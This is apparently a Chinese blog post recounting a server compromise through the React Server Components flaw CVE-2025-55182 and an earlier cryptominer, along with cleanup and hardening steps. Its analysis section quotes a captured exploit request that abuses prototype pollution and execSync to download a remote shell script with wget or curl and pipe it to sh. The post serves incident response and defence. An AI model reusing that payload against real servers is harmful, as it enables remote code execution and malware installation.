目录

记一次服务器被攻击处理始末:从 React RSC 漏洞到挖矿木马

记一次服务器被攻击处理始末:从 React RSC 漏洞到挖矿木马

0. 前言

2026年1月14日,我的轻量应用服务器(Lighthouse)频繁触发安全告警。经过排查发现,攻击者利用了 React Server Components (RSC) 的高危漏洞试图进行远程代码执行,并在此之前已经有过挖矿木马的植入尝试。本文记录了从收到告警到漏洞排查、应急处置的全过程。


1. 告警复盘:发生了什么?

1.1 基本环境

  • 目标主机:Ubuntu-wBnJ (129.28.x.x)

  • 受影响服务:运行在 3000 端口的 Node.js 应用

  • 涉及进程/nodejs/bin/node /app/build/server/index.js

1.2 核心威胁:CVE-2025-55182

根据告警详情,攻击者利用的是 React Server Components 远程代码执行漏洞

  • 漏洞原理:RSC 在反序列化 HTTP 请求负载时存在安全缺陷。攻击者可以构造特制的请求,在未经身份验证的情况下触发反序列化,从而在服务器上执行任意代码。

  • CVSS 评分10 (严重)

1.3 攻击载荷(Payload)分析

在告警数据包中,我捕获到了以下关键信息:

HTTP

POST / HTTP/1.1
Host: 129.28.x.x:3000
...
{"then":"$1:__proto__:then", ... "value":"{\"then\":\"$B1337\"}",
 "_response":{"_prefix":"process.mainModule.require('child_process').execSync('(wget -qO- http://41.231.37.153/rondo.aqu.sh||
 busybox wget -qO- http://41.231.37.153/rondo.aqu.sh||curl -s http://41.231.37.153/rondo.aqu.sh)|sh&)')"}

技术细节:攻击者通过原型链污染(__proto__)结合 child_process.execSync,试图通过 wgetcurl 从远程服务器下载并执行一个名为 rondo.aqu.sh 的恶意脚本。


2. 攻击路径追踪

通过日志回溯,我发现这并非一次孤立事件:

时间 攻击源 IP 地点 目标端口 行为描述
01-14 14:26 54.163.2.228 美国 3000 CVE-2025-55182 漏洞利用(尝试)
01-14 13:55 192.159.99.95 美国 3000 CVE-2025-55182 漏洞利用(尝试)
01-14 13:16 193.142.147.209 荷兰 80 CVE-2025-55182 漏洞利用(尝试)
01-14 11:15 130.12.180.122 荷兰 3000 CVE-2025-55182 漏洞利用(尝试)
01-14 09:42 193.142.147.209 荷兰 3000 CVE-2025-55182 漏洞利用(尝试)
01-14 06:58 34.194.151.175 美国 3000 CVE-2025-55182 漏洞利用(尝试)
01-14 00:10 102.69.167.14 坦桑尼亚 3000 CVE-2025-55182 漏洞利用(尝试)
01-04 10:45 - - - 发现恶意文件:Linux.Risk.Miner (挖矿木马)

令人警惕的是:早在 1 月 4 日,系统就在容器目录中发现了名为 m 的挖矿病毒(MD5: 8f633ade35df…),说明服务器可能早已存在被渗透的风险。


3. 应急处置过程

第一步:立即隔离与备份

由于系统提示“暂不支持自动防御”,我首先手动操作:

  1. 快照备份:在进行任何修复前,先对云服务器进行完整快照,以防操作失误导致数据丢失。

  2. 网络封禁:在安全组(防火墙)中封禁了 192.159.99.95 等高频攻击 IP。

第二步:清理木马

针对 1 月 4 日检出的恶意文件 /tmp/.x/m,确认已被腾讯云轻量版自动隔离。

  • 检查了 crontab -lsystemctl 确保没有残留的持久化自启动项。

第三步:修复 React 漏洞

根据官方公告,针对 CVE-2025-55182,最根本的解决办法是升级 React 相关组件。

  1. 更新依赖:将项目中的 reactreact-dom 及其相关服务端包升级。

    • 安全版本:19.0.1, 19.1.2, 19.2.1。
  2. 重新构建:清理缓存后重新运行 npm install 并 build 应用。


4. 经验教训与加固建议

  1. 紧跟安全公告:React 19 虽然强大,但新特性往往伴随新风险。对于 CVSS 10 分的漏洞,必须第一时间响应。

  2. 最小化权限运行:Node.js 应用不应以 root 权限运行,建议使用低权限用户,并对 /tmp 等目录设置挂载限制。

  3. 强化入口防御

    • 部署 WAF(Web 应用防火墙)以拦截常见的反序列化攻击。

    • 非必要不开放公网端口(如 3000),建议通过反向代理(Nginx)并开启访问限制。


5. 结语

安全无小事,尤其是在 2026 年攻击手段日益自动化的今天。保持组件更新、定期查看云平台安全告警,是保障业务连续性的基本要求。